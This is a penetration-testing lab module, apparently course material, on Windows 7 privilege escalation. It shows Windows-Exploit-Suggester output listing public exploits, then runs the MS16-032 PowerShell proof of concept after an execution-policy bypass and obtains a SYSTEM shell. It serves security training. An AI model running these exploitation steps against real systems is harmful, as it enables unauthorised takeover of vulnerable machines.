**Windows Desktop Versions**

Windows 7 was made end-of-life on January 14, 2020, but is still in use in many environments.

**Windows 7 vs. Newer Versions**

Over the years, Microsoft has added enhanced security features to subsequent versions of Windows Desktop. The table below shows some notable differences between Windows 7 and Windows 10.

| **Feature** | **Windows 7** | **Windows 10** |
| --- | --- | --- |
| [Microsoft Password (MFA)](https://blogs.windows.com/windowsdeveloper/2016/01/26/convenient-two-factor-authentication-with-microsoft-passport-and-windows-hello/) |  | X |
| [BitLocker](https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-overview) | Partial | X |
| [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard) |  | X |
| [Remote Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard) |  | X |
| [Device Guard (code integrity)](https://techcommunity.microsoft.com/t5/iis-support-blog/windows-10-device-guard-and-credential-guard-demystified/ba-p/376419) |  | X |
| [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) | Partial | X |
| [Windows Defender](https://www.microsoft.com/en-us/windows/comprehensive-security) | Partial | X |
| [Control Flow Guard](https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard) |  | X |

**Windows 7 Case Study**

To this date, estimates state that there may be over 100 million users still on Windows 7. According to [NetMarketShare](https://www.netmarketshare.com/operating-system-market-share.aspx), as of November 2020, Windows 7 was the second most used desktop operating system after Windows 10. Windows 7 is standard in large companies across the education, retail, transportation, healthcare, financial, government, and manufacturing sectors.

As discussed in the last section, as penetration testers, we must understand our clients' core business, risk appetite, and limitations that may prevent them from entirely moving off all versions of EOL systems such as Windows 7. It is not good enough for us to merely give them a finding for an EOL system with the recommendation of upgrading/decommissioning without any context. We should have ongoing discussions with our clients during our assessments to gain an understanding of their environment. Even if we can attack/escalate privileges on a Windows 7 host, there may be steps that a client can take to limit exposure until they can move off the EOL system(s).

A large retail client may have Windows 7 embedded devices in 100s of their stores running their point of sale (POS) systems. It may not be financially feasible for them to upgrade them all at once, so we may need to work with them to develop solutions to mitigate the risk. A large law firm with one old Windows 7 system may be able to upgrade immediately or even remove it from the network. Context is important.

Let's look at a Windows 7 host that we may uncover in one of the sectors mentioned above. For our Windows 7 target, we can use Sherlock again like in the Server 2008 example, but let's take a look at [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)

**Install Python Dependencies (local VM only)**

This tool works on the Pwnbox, but to get it working on a local version of Parrot, we need to do the following to install the necessary dependencies.

Install Python Dependencies (local VM only)

yovecio@htb[/htb]$ sudo wget https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c7b77606f8fe41d4c90f2449e02172bb1/setuptools-2.0.tar.gz

yovecio@htb[/htb]$ sudo tar -xf setuptools-2.0.tar.gz

yovecio@htb[/htb]$ cd setuptools-2.0/

yovecio@htb[/htb]$ sudo python2.7 setup.py install

yovecio@htb[/htb]$ sudo wget https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz

yovecio@htb[/htb]$ sudo tar -xf xlrd-1.0.0.tar.gz

yovecio@htb[/htb]$ cd xlrd-1.0.0/

yovecio@htb[/htb]$ sudo python2.7 setup.py install

**Gathering Systeminfo Command Output**

Once this is done, we need to capture the systeminfo command's output and save it to a text file on our attack VM.

Gathering Systeminfo Command Output

C:\htb> systeminfo

Host Name: WINLPE-WIN7

OS Name: Microsoft Windows 7 Professional

OS Version: 6.1.7601 Service Pack 1 Build 7601

OS Manufacturer: Microsoft Corporation

OS Configuration: Standalone Workstation

OS Build Type: Multiprocessor Free

Registered Owner: mrb3n

Registered Organization:

Product ID: 00371-222-9819843-86644

Original Install Date: 3/25/2021, 7:23:47 PM

System Boot Time: 5/13/2021, 5:14:12 PM

System Manufacturer: VMware, Inc.

System Model: VMware Virtual Platform

System Type: x64-based PC

Processor(s): 2 Processor(s) Installed.

[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz

[02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz

BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018

Windows Directory: C:\Windows

<SNIP>

**Updating the Local Microsoft Vulnerability Database**

We then need to update our local copy of the Microsoft Vulnerability database. This command will save the contents to a local Excel file.

Updating the Local Microsoft Vulnerability Database

yovecio@htb[/htb]$ sudo python2.7 windows-exploit-suggester.py --update

**Running Windows Exploit Suggester**

Once this is done, we can run the tool against the vulnerability database to check for potential privilege escalation flaws.

Running Windows Exploit Suggester

yovecio@htb[/htb]$ python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt

[\*] initiating winsploit version 3.3...

[\*] database file detected as xls or xlsx based on extension

[\*] attempting to read from the systeminfo input file

[+] systeminfo input file read successfully (utf-8)

[\*] querying database file for potential vulnerabilities

[\*] comparing the 3 hotfix(es) against the 386 potential bulletins(s) with a database of 137 known exploits

[\*] there are now 386 remaining vulns

[+] [E] exploitdb PoC, [M] Metasploit module, [\*] missing bulletin

[+] windows version identified as 'Windows 7 SP1 64-bit'

[\*]

[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important

[\*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)

[\*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)

[\*] https://github.com/tinysec/public/tree/master/CVE-2016-7255

[\*]

[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important

[\*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)

[\*]

[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important

[\*] https://github.com/foxglovesec/RottenPotato

[\*] https://github.com/Kevin-Robertson/Tater

[\*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege

[\*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation

[\*]

[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important

[\*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC

[\*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC

[\*]

[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical

[\*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC

[\*]

[E] MS16-059: Security Update for Windows Media Center (3150220) - Important

[\*] https://www.exploit-db.com/exploits/39805/ -- Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059), PoC

[\*]

[E] MS16-056: Security Update for Windows Journal (3156761) - Critical

[\*] https://www.exploit-db.com/exploits/40881/ -- Microsoft Internet Explorer - jscript9 Java­Script­Stack­Walker Memory Corruption (MS15-056)

[\*] http://blog.skylined.nl/20161206001.html -- MSIE jscript9 Java­Script­Stack­Walker memory corruption

[\*]

[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important

[\*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF

[\*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC

[\*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC

[\*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)

[\*]

<SNIP>

[\*]

[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical

[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important

[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important

[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical

[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical

[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical

[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical

[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical

[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical

[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical

[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical

[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important

[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical

[\*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC

[\*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC

[\*]

[\*] done

Suppose we have obtained a Meterpreter shell on our target using the Metasploit framework. In that case, we can also use this [local exploit suggester module](https://www.rapid7.com/blog/post/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/) which will help us quickly find any potential privilege escalation vectors and run them within Metasploit should any module exist.

Looking through the results, we can see a rather extensive list, some Metasploit modules, and some standalone PoC exploits. We must filter through the noise, remove any Denial of Service exploits, and exploits that do not make sense for our target OS. One that stands out immediately as interesting is MS16-032. A detailed explanation of this bug can be found in this [Project Zero blog post](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html) which is a bug in the Secondary Logon Service.

**Exploiting MS16-032 with PowerShell PoC**

Let's use a [PowerShell PoC](https://www.exploit-db.com/exploits/39719) to attempt to exploit this and elevate our privileges.

Exploiting MS16-032 with PowerShell PoC

PS C:\htb> Set-ExecutionPolicy bypass -scope process

Execution Policy Change

The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose

you to the security risks described in the about\_Execution\_Policies help topic. Do you want to change the execution

policy?

[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): A

[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y

PS C:\htb> Import-Module .\Invoke-MS16-032.ps1

PS C:\htb> Invoke-MS16-032

\_\_ \_\_ \_\_\_ \_\_\_ \_\_\_ \_\_\_ \_\_\_ \_\_\_

| V | \_|\_ | | \_|\_\_\_| |\_ |\_ |

| |\_ |\_| |\_| . |\_\_\_| | |\_ | \_|

|\_|\_|\_|\_\_\_|\_\_\_\_\_|\_\_\_| |\_\_\_|\_\_\_|\_\_\_|

[by b33f -> @FuzzySec]

[?] Operating system core count: 6

[>] Duplicating CreateProcessWithLogonW handle

[?] Done, using thread handle: 1656

[\*] Sniffing out privileged impersonation token..

[?] Thread belongs to: svchost

[+] Thread suspended

[>] Wiping current impersonation token

[>] Building SYSTEM impersonation token

[?] Success, open SYSTEM token handle: 1652

[+] Resuming thread..

[\*] Sniffing out SYSTEM shell..

[>] Duplicating SYSTEM token

[>] Starting token race

[>] Starting process race

[!] Holy handle leak Batman, we have a SYSTEM shell!!

**Spawning a SYSTEM Console**

This works and we spawn a SYSTEM cmd console.

Spawning a SYSTEM Console

C:\htb> whoami

nt authority\system